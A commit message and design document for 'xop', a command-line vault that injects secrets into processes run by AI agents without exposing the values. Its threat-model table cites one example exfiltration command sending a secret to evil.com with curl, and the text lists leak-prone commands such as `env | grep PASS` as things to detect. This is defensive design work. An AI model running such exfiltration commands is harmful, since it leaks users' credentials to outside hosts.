影响: key 多了人/AI 可读的用途说明(存加密 vault 内,不落明文文件); `xop list` 的搜索不用再打引号; `xop list` / `xop desc` 只碰元数据、 永不吐 value,因此不再弹指纹、不再问口令 —— agent 跑 xop 不会被打断。 118 unit + 40 integration 全绿。 改动: - 新增 `xop desc KEY [TEXT...]`: 描述存 vault 的 `__meta__` TOML 子表; 文字用空格 join(不用引号), 真打进 vault 的一层引号会被剥掉; 不写文字 = 清除描述(不用敲空引号 "") - `xop list [TERM...]`: 搜索默认改成大小写不敏感的子串匹配, 命中 key 名 或描述, 不用引号、不用通配符; 含 `*` `?` `[` 的词仍切 glob 语义 (老写法 `xop list 'git_*'` 行为不变); 多词取并集 - 新增 `Vault::open_metadata` / `open_metadata_at`: 只开元数据路径, 0600 keyring 静默解锁, 无 keyring 才回落手输 passphrase; `get`/`set`/`rm`/`run` 仍走 `Vault::open` 全套闸门 - 新增 `auth::Intent` + `auth::needs_gate(intent)`: 把"哪些操作要闸门" 写成纯函数; `Vault::open` 与 `open_metadata` 共享 `decrypt_with` 核心 - 新增 `src/glob.rs`: 轻量匹配器, `*` 任意长 / `?` 单字符, 零新依赖; 搜索用的 `has_meta` / `matches_ignore_case` / `contains_ignore_case` / `contains_glob_ignore_case` - 新增 `src/datadir.rs`: 数据目录 `~/.xop/` → `~/.x/xop/`, 迁移是 **复制不移动**(旧目录留作备份), 新 vault 已存在则跳过 - `keyring::load_at` / `save_at` 改 pub(路径显式化, 单测不碰全局 HOME) - `audit.rs` 新增 `vault_desc(name)`: 只记 key 名, 描述文字不入日志(I2) - 集成测试新增 pty 回归 `list_under_a_tty_never_prompts_for_biometrics`: `script -q /dev/null` 起真 pty + 30s 超时, 闸门若回来则失败而非挂死 - 版本 0.4.0 → 0.5.2; AGENTS.md / HANDOFF.md / docs/* 同步; examples 里 v0.5 搬家前的 `~/.xop/` 残留路径一并修正 设计: "搜索要打引号"的根因是 shell 通配符(`*` 在 zsh 下没匹配文件直接 `no matches found`), 不是 xop —— 所以正解不是"少打引号", 而是让日常 搜索根本不需要通配符: 默认子串匹配, `*`/`?`/`[` 只在用户显式写了时才 切回 glob。免闸门只给元数据操作: 闸门的意义是"释放真值前确认有人在场", 而 list/desc 永不吐 value; 值路径(get/set/rm/run)一行没动。 Co-Authored-By: Claude Code <[email protected]>
271 lines
19 KiB
Markdown
271 lines
19 KiB
Markdown
# xop · Design Document
|
||
|
||
> Status: v0.2.1 implemented (2026-10-02). Self-contained encrypted vault, no external backend dependencies. Unlock: OS auth gate first, then file keyring (`~/.x/xop/keyring`, 0600) or typed passphrase — **deliberately NOT the macOS Keychain** (rejected 2026-10-02: system dialogs during automation).
|
||
|
||
## 1. Problem statement
|
||
|
||
AI agents (Claude Code, Cursor, OpenAI Operator, anything that runs bash) must execute real tools to be useful. Real tools need real credentials. But every existing credential-flow forces the agent to:
|
||
|
||
1. **Read the secret into its context window** — the plaintext enters the LLM provider's logs, training pipelines, screenshots, error reports.
|
||
2. **Pass the secret as a CLI arg or env var that the agent itself reads** — the secret lives in the agent's process memory, recoverable via debuggers or core dumps.
|
||
3. **Repeat the authorization for every operation** — UX death by a thousand "approve this?" prompts.
|
||
|
||
The result is a worst-of-both-worlds: secrets leak into places they shouldn't, AND the user is asked to re-approve constantly.
|
||
|
||
**Core invariant we want:** the AI agent must never observe a secret value. It only ever sees *references* (bare key names like `db_pass`). Real values live for <1ms in `xop`'s memory, are passed into the child process at `execve()` time via `envp`, and are scrubbed from every persistent layer (logs, audit, history).
|
||
|
||
## 2. Design principles
|
||
|
||
| # | Principle | Concretely means |
|
||
|---|---|---|
|
||
| P1 | **References, not values, cross trust boundaries** | LLM API call bodies, IPC payloads, audit logs, and shell history contain only bare key names (`DB_PASS`, `db_pass`). |
|
||
| P2 | **One-shot memory lifetime** | Real values live in the parent process only between `Vault::get()` and `execve()`. After `execve` returns, parent memory is zeroized (rpassword + zeroize crate). |
|
||
| P3 | **Defense in depth at every layer** | Independent guards: argv parse → OS auth (Touch ID gate) → keyring-or-passphrase unlock → envp inject → stdout mask (`12****【xop禁止将密钥泄漏】`) → network policy. Each fails closed independently. |
|
||
| P4 | **Deno-style permission DSL** | `--allow-net=`, `--deny-net=`, `--allow-read=`, `--deny-read=` — same model proven in production by Deno runtime. |
|
||
| P5 | **Self-contained vault, no external CLIs** | xop owns its own encrypted vault at `~/.x/xop/key.db` (AES-256-GCM, argon2id KDF). No `op`/`vault`/`security` subprocesses to verify, no per-resolve spawn overhead, no metadata leaked to `ps`. |
|
||
| P6 | **Refuse to do the wrong thing** | Any command that *itself* would print the secret (e.g. `echo $DB_PASS`, `env | grep PASS`, `set -x`) is detected at parse-time or runtime and either masked or refused. |
|
||
| P7 | **Boring infrastructure, hot path** | `xop` itself is <5MB static binary, no daemon, no server. Single `fork+execve` per command, returns child's exit code. |
|
||
|
||
## 3. Command surface
|
||
|
||
```
|
||
xop # banner + 5 examples (no panic, no error)
|
||
xop -h | --help | help # full help w/ subcommands + exec examples
|
||
xop init # first-run: prompt passphrase × 2, create ~/.x/xop/key.db
|
||
xop set KEY # Touch ID → read stdin → encrypt → write
|
||
xop list [TERM...] # NO Touch ID → enumerate keys (name + description, no values);
|
||
# a plain TERM is a quote-free substring search
|
||
xop desc KEY [TEXT...] # NO Touch ID → attach/clear a key's description (no quotes needed)
|
||
xop get KEY [-v|--value] # Touch ID → print value MASKED by default (first 2 chars +
|
||
# ****【xop禁止将密钥泄漏】); -v prints plaintext for HUMAN
|
||
# inspection only (agents must use `xop run` injection)
|
||
xop rm KEY # Touch ID → delete key (--force to skip confirm)
|
||
xop key [--save|--remove] # manage ~/.x/xop/keyring auto-unlock key (0600 file, NOT Keychain)
|
||
xop [flags] -- CMD [args] # exec mode (inject into child process)
|
||
```
|
||
|
||
Exec-mode flags (existing, mostly kept):
|
||
|
||
```
|
||
-s, --secret KEY=NAME # NAME = bare key name in vault, injected as env KEY
|
||
--secrets-file PATH # bulk-load KEY=NAME pairs
|
||
--allow-net=HOSTS # allow child to make outbound network
|
||
--deny-net=HOSTS # always-deny (beats allow)
|
||
--allow-read=PATHS # allow child to read paths
|
||
--deny-read=PATHS # always-deny read (beats allow)
|
||
--on-leak=mask|kill|refuse # stdout action on secret pattern
|
||
--mask-pattern=REGEX # extra regex to mask in child stdout/stderr
|
||
--dry-run # print effective policy; never exec
|
||
--audit=PATH # default: ~/.x/xop/audit.jsonl
|
||
--no-color # suppress color in output
|
||
```
|
||
|
||
**REMOVED in v0.2**: `--backend` (no longer meaningful — single local vault).
|
||
|
||
Exit codes:
|
||
- 0 success
|
||
- 64 EX_USAGE — bad flags, missing command, bad ref
|
||
- 69 EX_UNAVAILABLE — vault unreadable
|
||
- 73 EX_CANTCREAT — can't open audit log
|
||
- 77 EX_NOPERM — auth cancelled, wrong passphrase, key not found, leak-killed
|
||
- 78 EX_CONFIG — vault corrupt or missing init
|
||
- 79 EX_SECURITY — secret leak detected and `--on-leak=kill|refuse`
|
||
- 130 child received SIGINT
|
||
|
||
## 4. Architecture
|
||
|
||
```
|
||
┌──────────────────────────────────────────────────────────────────────────┐
|
||
│ xop process │
|
||
│ │
|
||
│ args::Args ◄── clap parse (src/args.rs) │
|
||
│ │ │
|
||
│ ├─ subcommand? ─► commands::{init,set,list,get,rm,key}::run() │
|
||
│ │ ├─ auth::authenticate() (Touch ID gate) │
|
||
│ │ ├─ keyring::load() ∨ rpassword::prompt() │
|
||
│ │ │ (0600 file key → silent; else passphrase) │
|
||
│ │ └─ vault::{open,get,set,...}() │
|
||
│ │ │
|
||
│ └─ exec mode ─► run_exec() │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ SecretRef[] (src/secret.rs) ──► bare "KEY=NAME" pairs │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ policy::Policy (src/policy.rs) │
|
||
│ │ ├── net: NetPolicy { allow, deny } │
|
||
│ │ ├── read: ReadPolicy { allow, deny } │
|
||
│ │ └── leak: Mask | Kill | Refuse │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ vault::resolve_all(refs) ─► auth → keyring ∨ passphrase → decrypt │
|
||
│ │ (single local vault, no subprocess) │
|
||
│ │ key: ~/.x/xop/keyring (0600) or argon2id(passphrase, salt) │
|
||
│ │ cipher: AES-256-GCM(key, nonce, plaintext) │
|
||
│ ▼ │
|
||
│ injector::plan + build_envp_delta (src/injector.rs) │
|
||
│ │ ├── Envp (default: KEY=VALUE) │
|
||
│ │ ├── Askpass (SSH_ASKPASS — P1) │
|
||
│ │ └── Fd (P1) │
|
||
│ ▼ │
|
||
│ tokio::process::Command spawn with: │
|
||
│ - argv = scrubbed command line (refs unchanged, never values) │
|
||
│ - envp = parent_env + envp_delta │
|
||
│ - pre_exec: setrlimit(RLIMIT_CORE, 0, 0) (no core dumps) │
|
||
│ - stdout/stderr = piped through guard/stdout.rs │
|
||
│ - stdin = inherited from parent │
|
||
│ │ │
|
||
│ ▼ │
|
||
│ waitpid() ─► exit code propagated │
|
||
│ │
|
||
│ Throughout: audit::AuditLog appends ref-only events to ~/.x/xop/audit.jsonl
|
||
└──────────────────────────────────────────────────────────────────────────┘
|
||
```
|
||
|
||
## 5. Reference syntax (the secret grammar)
|
||
|
||
### 5.1 On the command line
|
||
|
||
```bash
|
||
# Explicit injection flag — preferred
|
||
xop --secret DB_PASS=db_pass --allow-net=db.local:5432 --deny-net=* -- mysql ...
|
||
|
||
# Both halves of KEY=NAME refer to vault keys (no scheme prefix in v0.2).
|
||
# KEY = env var name to inject; NAME = key in ~/.x/xop/key.db.
|
||
# They are usually the same string, but can differ when mapping multiple env names.
|
||
```
|
||
|
||
**Why bare keys (no scheme):** v0.1 had `op://` / `vault://` / `keychain://` schemes, which leaked which external backend was in use (metadata). v0.2 collapses to a single local vault — the ref is just the key name.
|
||
|
||
### 5.2 In `--secrets-file`
|
||
|
||
```bash
|
||
# .env.xop (safe to commit)
|
||
DB_HOST="db.prod.example.com"
|
||
DB_USER="readonly"
|
||
DB_PASS="db_pass"
|
||
SSH_KEY="ssh_key"
|
||
```
|
||
|
||
Lines starting with `#` are comments; empty lines ignored.
|
||
|
||
## 6. Vault file format (`~/.x/xop/key.db`)
|
||
|
||
Binary, fixed-position header for cheap parsing:
|
||
|
||
```
|
||
[4B magic = "XOP\1"]
|
||
[4B version = 0x0000_0001]
|
||
[16B salt = argon2id salt (random per vault)]
|
||
[12B nonce = AES-GCM nonce (random per save)]
|
||
[NB ciphertext = AES-256-GCM(key, nonce, plaintext)]
|
||
[16B tag = AES-256-GCM auth tag]
|
||
```
|
||
|
||
Plaintext (after decrypt) = UTF-8 TOML:
|
||
```toml
|
||
"DB_PASS" = "hunter2"
|
||
"API_KEY" = "sk-live-..."
|
||
```
|
||
|
||
Each `set` / `rm` rewrites the entire file (re-randomizes nonce). Vault size ≈ sum of values + ~80 bytes. Write is atomic: tmp + rename to survive partial writes.
|
||
|
||
## 7. Authentication flow
|
||
|
||
```
|
||
┌─────────────────────────────────────────────────────────────────────┐
|
||
│ init │
|
||
│ no pre-gate (first-run; nothing to protect yet) │
|
||
│ prompt passphrase × 2 (confirm) │
|
||
│ generate salt + nonce + empty entries │
|
||
│ write vault atomically (tmp + rename) │
|
||
│ write keyring atomically (~/.x/xop/keyring, 0600, hex key) │
|
||
└─────────────────────────────────────────────────────────────────────┘
|
||
┌─────────────────────────────────────────────────────────────────────┐
|
||
│ set / list / get / rm / run (exec mode) │
|
||
│ 1. Pre-gate (OS-level): ALWAYS FIRST — its verdict gates keyring │
|
||
│ local TTY (no SSH_* env): macOS LAContext │
|
||
│ evaluatePolicy(.deviceOwnerAuthenticationWithBiometrics)│
|
||
│ — REAL fingerprint prompt, NO password field │
|
||
│ · pass → AllowKeyring (silent keyring OK) │
|
||
│ · cancel/refuse (LAError -128/-5/-12/unknown) │
|
||
│ → AuthCancelled, exit 77, op ABORTS │
|
||
│ · no usable biometrics (-7/-8/-10/-11/-1008/...)/broken │
|
||
│ → RequirePassphrase (keyring NOT consulted) │
|
||
│ SSH session (SSH_TTY/SSH_CONNECTION/SSH_CLIENT): never │
|
||
│ attempt biometrics (the dialog would pop on the local │
|
||
│ console where the remote user can't see it) │
|
||
│ → RequirePassphrase — user types the xop passphrase │
|
||
│ Linux interactive: no biometric gate exists; system password │
|
||
│ forbidden by design → RequirePassphrase │
|
||
│ headless / non-TTY (agent/pipe/CI, `ssh host cmd` w/o pty): │
|
||
│ gate skipped → AllowKeyring — this is the automation │
|
||
│ path that makes `xop run` unattended │
|
||
│ │
|
||
│ 2. Unlock key source: │
|
||
│ keyring::load() → Some(key) (file ~/.x/xop/keyring, 0600) │
|
||
│ · mode&0o077 != 0 or non-hex → REFUSED (error) │
|
||
│ · XOP_NO_KEYRING=1 → skip file, go to prompt │
|
||
│ → silent; `xop run` works unattended (issue #3) │
|
||
│ None → rpassword::prompt_password("Vault password: ") │
|
||
│ → derive key = argon2id(passphrase, vault_salt) │
|
||
│ (NOT macOS Keychain — rejected 2026-10-02: system dialogs │
|
||
│ during automation; xop never calls security(1)) │
|
||
│ │
|
||
│ 3. AES-GCM decrypt → operate → AES-GCM re-encrypt (set/rm) │
|
||
│ │
|
||
│ 4. Zeroize passphrase buffer (zeroize crate, drop guard) │
|
||
└─────────────────────────────────────────────────────────────────────┘
|
||
```
|
||
|
||
**Defense in depth:** the OS gate verifies *who you are*; the unlock secret unlocks *what's stored*. Critically, the keyring is only consulted **after identity has been positively established** — a live biometric pass on the local console, or a headless automation context (no TTY). In an SSH session or on a machine without usable biometrics the gate returns `RequirePassphrase` and the user must type the xop passphrase ("管理员密码"); the keyring file is not read at all there. (User rules 2026-10-02: 能探测硬件指纹身份就行;任何时候不要让用户输入系统密码;SSH 与无指纹设备应输管理员密码.) `xop key --remove` revokes the keyring instantly.
|
||
|
||
**Bypass:** `XOP_AUTH_BYPASS=1` env var skips the pre-gate for CI/headless tests. The unlock secret (keyring or passphrase) is still required to decrypt the vault — bypass never decrypts. And the passphrase itself can NEVER come from an env var in a release binary (`XOP_VAULT_PASSWORD` is `#[cfg(feature = "test-bypass")]`-gated; verify: `strings target/release/xop | grep XOP_VAULT_PASSWORD` → empty).
|
||
|
||
## 8. Threat model (summary; see threat-model.md for full)
|
||
|
||
| Threat | Mitigation | Layer |
|
||
|---|---|---|
|
||
| LLM provider logs secret in request body | Bare key names only, never values | argv parse |
|
||
| Secret in `ps e` / `/proc/PID/environ` | argv = ref text, values only in child's envp | exec |
|
||
| Child `echo $SECRET` prints to stdout | stdout pipe filter regex | runtime |
|
||
| Child `curl -d "$SECRET" https://evil.com` | `--deny-net=* --allow-net=whitelist` | network policy (stub P2) |
|
||
| Child reads `/proc/self/environ` | `--deny-read` defaults | file policy (stub P2) |
|
||
| Core dump leaks envp | `RLIMIT_CORE=0` in child pre_exec | OS |
|
||
| Audit log leaks values | Type system: `AuditEvent` has no `value` field | type |
|
||
| Vault file stolen off disk | AES-256-GCM + argon2id passphrase | at-rest |
|
||
| Attacker bypasses Touch ID | Unlock secret (keyring/passphrase) still required | two-factor |
|
||
| Keyring file stolen | 0600 enforced (load refuses bad mode); instant revoke `xop key --remove` | accepted tradeoff (threat-model T13) |
|
||
|
||
## 9. Non-goals (v0.2)
|
||
|
||
- ❌ External backend integration (1Password, Vault, Keychain) — explicitly removed in v0.2. Use those tools directly if you want them.
|
||
- ❌ Agent SDK / library mode (`use xop::exec(...)`) — CLI-only.
|
||
- ❌ Windows support — macOS + Linux only initially.
|
||
- ❌ Network proxy as fallback policy — prefer real OS-level enforcement (pf/iptables); http_proxy as future fallback.
|
||
- ❌ GUI confirmation prompts — policy is declared upfront; interactive prompts come later.
|
||
- ❌ Multi-user vaults / shared secrets — single-user local-only.
|
||
|
||
## 10. Compatibility with existing ecosystem
|
||
|
||
| Tool | Relationship to xop |
|
||
|---|---|
|
||
| [secret-agent](https://github.com/paperMoose/secret-agent) | Closest peer: self-contained vault, single machine. xop adds (1) OS-level auth gate (real Touch ID, biometrics-only) before passphrase, (2) Deno-style permission flags, (4) LLM-aware guards (`--on-leak=refuse`). secret-agent is template-based (env template string); xop is flag-based. |
|
||
| 1Password `op run` | No integration in v0.2. If you already have 1Password set up and want zero infra, use `op run` — but it doesn't have network/file policy enforcement or Touch ID gate. |
|
||
| HashiCorp Vault Agent | Sidecar model; xop is fork-style. No integration. |
|
||
| Deno permission | Conceptual debt only — Deno governs its own runtime; xop governs foreign Unix processes via OS primitives. |
|
||
| macOS Keychain | **Rejected 2026-10-02** (implemented once, then removed — `security(1)` popped system authorization dialogs mid-automation; user veto). xop stores nothing in Keychain and never calls `security(1)`. Unlock-key storage = plain file `~/.x/xop/keyring` (0600). |
|
||
|
||
## 11. Implementation phases
|
||
|
||
| Phase | Scope | Status |
|
||
|---|---|---|
|
||
| **0 — Skeleton** | All modules stubbed, clap schema complete, dry-run works | ✅ v0.1 |
|
||
| **1 — Local vault + auth gate** | `init`/`set`/`list`/`get`/`rm` + Touch ID gate + argon2id + AES-GCM + spawn pipeline | ✅ v0.2 |
|
||
| **1.5 — Unattended unlock + leak masking** | file keyring (`xop key`), OS gate always first, `set` partial-mask echo, stdout guard real filter + kill/refuse | ✅ v0.2.1 |
|
||
| **2 — Network policy** | macOS `pf` integration, Linux `iptables owner` | ⏳ P1 |
|
||
| **3 — File policy** | macOS `sandbox-exec` profile, Linux `landlock` | ⏳ P1 |
|
||
| **4 — Askpass injection** | `SSH_ASKPASS` strategy + `DISPLAY=:0` + `SSH_ASKPASS_REQUIRE=force` | ⏳ P1 |
|
||
| **5 — Library mode** | `pub use xop::exec(...)` for embedding in agents (e.g. xstudio) | ⏳ v0.3 |
|
||
|
||
See [HANDOFF.md](../HANDOFF.md) for the next-session checklist. |